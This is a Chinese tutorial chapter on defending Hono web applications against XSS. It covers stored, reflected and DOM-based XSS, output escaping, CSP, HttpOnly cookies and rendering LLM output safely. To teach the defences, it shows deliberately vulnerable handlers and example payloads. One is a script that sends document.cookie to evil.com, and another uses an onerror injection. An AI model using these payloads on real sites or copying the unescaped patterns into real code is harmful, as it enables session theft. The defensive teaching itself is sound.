19.04-XSS防护
要点
- XSS(Cross-Site Scripting):攻击者把恶意 JavaScript 注入到其他用户看到的页面里执行
- 三类 XSS:存储型(恶意内容存进数据库)、反射型(恶意内容在 URL 参数里回显)、DOM 型(前端 JS 把不可信数据写到 DOM)
- 防御核心:输出编码——把
<、>、"等特殊字符转义成 HTML 实体,浏览器就不会当成 HTML 解析 - React/Vue 等现代框架默认做了输出编码,大部分 XSS 场景已经被框架挡住
- 服务端渲染(SSR)时直接拼接 HTML 字符串是最大的风险点——必须用 escapeHtml 或模板引擎的自动转义
- Hono 的
hono/html提供了自动转义的模板函数;CSP(Content-Security-Policy)响应头作为额外防线
1. XSS 攻击原理
XSS 的本质:攻击者把恶意脚本注入到其他用户浏览器的页面上下文中执行。
一旦恶意脚本在受害者页面里执行,它能做跟页面一样的任何事:
- 读取页面内容(用户隐私、敏感数据)
- 以用户身份发起请求(利用 Cookie 做 CSRF)
- 偷 Cookie(如果 Cookie 没有设 HttpOnly)
- 篡改页面内容(钓鱼)
- 记录键盘输入
1.1 存储型 XSS
恶意内容被存进数据库,所有看到这个内容的用户都被攻击:
// 评论功能——存储型 XSS 的经典场景
app.post('/api/comments', async (c) => {
const { content } = await c.req.json()
await c.env.DB.prepare(
'INSERT INTO comments (content) VALUES (?)'
).bind(content).run()
return c.json({ ok: true })
})
// 其他用户看到评论时,如果直接渲染 HTML:
// content = '<script>fetch("https://evil.com/steal?cookie=" + document.cookie)</script>'
// 受害者打开页面,script 执行,Cookie 被偷1.2 反射型 XSS
恶意内容在 URL 参数里,服务端把参数值直接放回页面:
// 搜索结果页——反射型 XSS
app.get('/search', (c) => {
const q = c.req.query('q')
// 危险:直接拼接到 HTML 里
return c.html(`<h1>搜索结果:${q}</h1>`)
// 如果 q = <script>steal()</script>,脚本执行
})1.3 DOM 型 XSS
恶意内容不经过服务端,在前端 JavaScript 里直接写入 DOM:
// 前端代码——DOM 型 XSS
const hash = location.hash.slice(1)
document.getElementById('content').innerHTML = decodeURIComponent(hash)
// 如果 hash = #<img src=x onerror=steal()>,脚本执行2. 防御核心:输出编码
XSS 的根源是:不可信数据被当成 HTML 解析了。
解决方案:在把不可信数据插入 HTML 之前,把特殊字符转义成 HTML 实体:
| 字符 | HTML 实体 |
|---|---|
< | < |
> | > |
" | " |
' | ' |
& | & |
转义后,<script> 变成 <script>,浏览器显示为文本而不是执行脚本。
2.1 escapeHtml 函数
// src/utils/escape.ts
export function escapeHtml(str: string): string {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''')
}任何服务端拼接 HTML 的场景,都必须对用户输入调用 escapeHtml:
// 正确:输出编码
app.get('/search', (c) => {
const q = c.req.query('q') || ''
const safeQ = escapeHtml(q)
return c.html(`<h1>搜索结果:${safeQ}</h1>`)
// <script> → <script>,浏览器显示为文本
})3. Hono 的 HTML 处理
3.1 c.html() 不自动转义
Hono 的 c.html() 方法接受 HTML 字符串,不会自动转义:
// 危险:c.html() 不转义
app.get('/search', (c) => {
const q = c.req.query('q')
return c.html(`<h1>搜索:${q}</h1>`) // ← XSS 漏洞
})你必须手动转义:
import { escapeHtml } from 'hono/html'
app.get('/search', (c) => {
const q = c.req.query('q') || ''
return c.html(`<h1>搜索:${escapeHtml(q)}</h1>`)
})3.2 hono/html 的 html 模板函数
hono/html 提供了带自动转义的模板函数:
import { html } from 'hono/html'
app.get('/search', (c) => {
const q = c.req.query('q') || ''
// html 模板函数自动转义变量
return c.html(html`<h1>搜索:${q}</h1>`)
// ↑ q 里的特殊字符会被自动转义
})${q} 里的 <script> 会自动变成 <script>。
如果需要插入不转义的原始 HTML(比如你已经处理过的安全内容),用 raw:
import { html, raw } from 'hono/html'
const safeContent = renderMarkdown(userInput) // 你自己处理过的安全内容
return c.html(html`<div>${raw(safeContent)}</div>`)
// ↑ raw() 告诉模板函数「这个内容已经安全了,不要转义」4. JSON API 的 XSS
如果你的 API 只返回 JSON,不返回 HTML,XSS 风险低很多——浏览器不会把 JSON 当 HTML 执行。
但仍有几个需要注意的点:
4.1 Content-Type 必须正确
// 错误:JSON 内容但 Content-Type 是 text/html
c.header('Content-Type', 'text/html')
return c.body(JSON.stringify({ name: userInput }))
// 如果 userInput 包含 <script>,浏览器会当成 HTML 执行
// 正确:c.json() 自动设置 Content-Type: application/json
return c.json({ name: userInput })c.json() 会自动设置 Content-Type: application/json,浏览器不会把 JSON 当 HTML 解析。
4.2 JSON 回调的 XSS
JSONP 模式(?callback=xxx)已经被淘汰,但如果你的项目里有类似机制:
// 危险:JSONP 回调函数名没有转义
const callback = c.req.query('callback')
return c.body(`${callback}(${JSON.stringify(data)})`, 200, {
'Content-Type': 'text/javascript', // ← 浏览器会执行
})
// 如果 callback = alert(1)//,返回 alert(1)//({...}),脚本执行现代 API 不应该用 JSONP。用 CORS 替代跨域需求。
4.3 富文本内容
AI 应用经常需要渲染用户输入的 Markdown 或富文本。Markdown 渲染器通常支持内联 HTML——如果不过滤,用户可以嵌入 <script>:
// 用户输入的 Markdown
const markdown = `
# 我的文章
<script>steal()</script>
正常内容
`
// 直接渲染成 HTML——XSS 漏洞
const htmlContent = renderMarkdown(markdown)解决方案:
- 用安全的 Markdown 渲染器:配置渲染器禁用 HTML 标签
- DOMPurify 过滤:渲染后用 DOMPurify 过滤一遍
// 使用 marked + DOMPurify
import { marked } from 'marked'
import DOMPurify from 'dompurify'
marked.setOptions({
// 禁用内联 HTML
sanitize: false, // marked 自身的 sanitize 已废弃
})
function renderSafeMarkdown(input: string): string {
// 1. Markdown 渲染成 HTML
const html = marked.parse(input)
// 2. DOMPurify 过滤(去掉 script、onerror 等危险内容)
return DOMPurify.sanitize(html)
}5. CSP:Content-Security-Policy
CSP 是 XSS 防御的最后一道防线——即使攻击者成功注入了 <script>,CSP 也能阻止它执行。
CSP 通过 HTTP 响应头告诉浏览器「只允许执行这些来源的脚本」:
// 设置 CSP
app.use('*', async (c, next) => {
c.header('Content-Security-Policy',
"default-src 'self'; " +
"script-src 'self'; " +
"style-src 'self' 'unsafe-inline'; " +
"img-src 'self' data: https:; " +
"connect-src 'self' https://api.example.com"
)
await next()
})主要指令:
| 指令 | 说明 |
|---|---|
default-src 'self' | 默认只允许同源资源 |
script-src 'self' | 脚本只允许同源(禁止内联脚本和 eval) |
style-src 'self' 'unsafe-inline' | 样式允许同源 + 内联(CSS-in-JS 需要) |
img-src 'self' data: | 图片允许同源 + data URL |
connect-src 'self' https://... | 限制 AJAX/WebSocket 的目标地址 |
5.1 CSP 与内联脚本
script-src 'self' 禁止所有内联 <script> 和 onclick="..." 等内联事件。这对 XSS 防护非常有效——即使攻击者注入了 <script>alert(1)</script>,浏览器也不会执行。
但如果你用了内联样式或 CSS-in-JS,需要 'unsafe-inline' 或 nonce:
// 使用 nonce 代替 unsafe-inline
const nonce = crypto.randomUUID()
c.header('Content-Security-Policy',
`default-src 'self'; script-src 'self' 'nonce-${nonce}';`
)
// HTML 里的内联 script 带上 nonce
return c.html(html`
<script nonce="${nonce}">
// 只有带正确 nonce 的内联脚本才能执行
console.log('safe')
</script>
`)攻击者不知道 nonce 值,所以注入的 <script> 不带 nonce,浏览器拒绝执行。
6. Cookie 的 HttpOnly 标志
即使 XSS 攻击成功,HttpOnly Cookie 也无法被 JavaScript 读取:
// HttpOnly:JavaScript 无法读取
c.header('Set-Cookie', 'session=xxx; HttpOnly; Secure; SameSite=Lax; Path=/')
// document.cookie 拿不到 session Cookie
// 没有 HttpOnly:XSS 可以偷 Cookie
c.header('Set-Cookie', 'session=xxx; Secure; SameSite=Lax; Path=/')
// document.cookie → "session=xxx" ← 攻击者可以偷到所有敏感 Cookie 都必须设置 HttpOnly。这是防御 XSS 偷 Cookie 的最后防线。
// 完整的 Cookie 安全配置
c.header('Set-Cookie', [
'session=xxx; Path=/; HttpOnly; Secure; SameSite=Lax',
'prefs=yyy; Path=/; SameSite=Lax', // 非敏感 Cookie 可以不用 HttpOnly
])各标志的含义:
| 标志 | 作用 |
|---|---|
HttpOnly | JavaScript 无法读取(防 XSS 偷 Cookie) |
Secure | 只通过 HTTPS 传输(防中间人抓 Cookie) |
SameSite=Lax | 跨站请求不携带(防 CSRF) |
Path=/ | Cookie 的有效路径 |
Max-Age / Expires | Cookie 的有效期 |
7. AI 场景的 XSS 风险
AI 应用有几个特殊的 XSS 风险点:
7.1 LLM 输出渲染
用户把 LLM 的回答渲染到页面上——LLM 的回答可能包含 HTML:
// LLM 返回的回答
const aiResponse = '这是一段回答\n<script>alert(1)</script>'
// 直接渲染到页面——XSS
return c.html(html`<div>${raw(aiResponse)}</div>`)解决方案:LLM 输出也要 escapeHtml 或过 DOMPurify。不要把 LLM 的输出当成「可信内容」——它是根据用户输入生成的,用户输入可以诱导 LLM 输出任意内容。
7.2 对话历史的存储型 XSS
用户 A 发的消息存在数据库里,用户 B(或管理员)看到对话历史时渲染——如果消息包含恶意 HTML:
// 用户 A 的消息
const message = '<img src=x onerror="steal()">'
// 管理员看到消息列表时
// 如果直接 innerHTML → XSS所有用户生成的内容(包括 AI 对话)在渲染时都应该转义。
7.3 Markdown + AI
AI 返回的内容经常是 Markdown 格式。如果你用 Markdown 渲染器渲染 AI 的输出,确保渲染器配置了 HTML 过滤(前面讲过的 DOMPurify 方案)。
8. XSS 防护检查清单
| 检查项 | 说明 |
|---|---|
| 所有用户输入渲染前转义 | escapeHtml 或模板引擎自动转义 |
JSON API 用 c.json() | 自动设置 Content-Type: application/json |
| 富文本用 DOMPurify 过滤 | Markdown 渲染后、AI 输出渲染前 |
| Cookie 设置 HttpOnly | 防止 XSS 偷 Cookie |
| 设置 CSP 响应头 | 禁止内联脚本,限制脚本来源 |
| 不在 URL 里放敏感信息 | 防止反射型 XSS + 日志泄露 |
c.html() 不用 ${raw()} 包裹不可信内容 | 确保模板函数自动转义 |
9. 小结
XSS 的本质是不可信数据被当成 HTML 解析执行。防御核心是输出编码——把 <、> 等字符转义成 HTML 实体。
三类 XSS:
- 存储型:恶意内容存进数据库,所有看到内容的用户被攻击
- 反射型:恶意内容在 URL 参数里,服务端拼到页面里回显
- DOM 型:前端 JS 把不可信数据写入 innerHTML
Hono 的 hono/html 模板函数自动转义变量。c.json() 设置正确的 Content-Type。Cookie 必须设 HttpOnly。CSP 响应头禁止内联脚本执行。
AI 场景的 XSS 风险:LLM 输出可能包含 HTML,对话历史可能有恶意消息,Markdown 渲染需要过滤。所有不可信内容渲染前都必须转义或过滤。
下一篇讲 SQL 注入防护——XSS 管的是「输出」,SQL 注入管的是「输入到数据库」。